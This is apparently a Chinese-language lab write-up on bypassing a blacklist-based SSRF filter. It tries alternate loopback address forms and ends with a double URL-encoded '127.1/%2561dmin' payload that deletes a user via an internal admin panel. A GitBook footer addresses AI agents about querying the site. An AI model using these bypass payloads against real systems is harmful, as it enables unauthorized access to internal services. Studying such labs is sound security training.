> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/ssrf-with-blacklist-based-filter.md).

# 基于黑名单过滤的 SSRF

### 基于黑名单输入过滤的 SSRF

该实验提供了一个库存验证功能，可用于从内部系统恢复数据。/ 目标是访问……上的管理界面 `HTTP://localhost/admin` 并删除该用户 **carlos**. / 必须绕过两个基于黑名单的薄弱防御机制。

#### 分析与绕过

当将 `stockApi` 参数直接指向本地管理员时，请求被拒绝：

```
stockApi=https://localhost/admin
```

<figure><img src="/files/fdc290722d69e0a52442095cefcbfb653fd41694" alt=""><figcaption></figcaption></figure>

为了绕过……上的黑名单 `localhost`，会测试多种内部地址变体：

* `https://127.0.0.1`
* `https://127.13.55.222`
* `https://127.0.1`

这些尝试也失败了。

然后我们尝试 **十六进制** 或 **十进制** 该地址的表示形式：

* `https://0x7F.0x0.0x1`
* `https://2130706433`

检测总是会阻止 `/admin` 路径，这表明该防御主要针对这个特定字符串。

<figure><img src="/files/2ddaf4dc5a87dc72783f25b2a0c9c1f9dbffea4f" alt=""><figcaption></figcaption></figure>

```javascript
stockApi=http://127.1/%2561dmin
stockApi=http://127.1/%2561dmin/delete?username=carlos
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssrf/ssrf-with-blacklist-based-filter.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
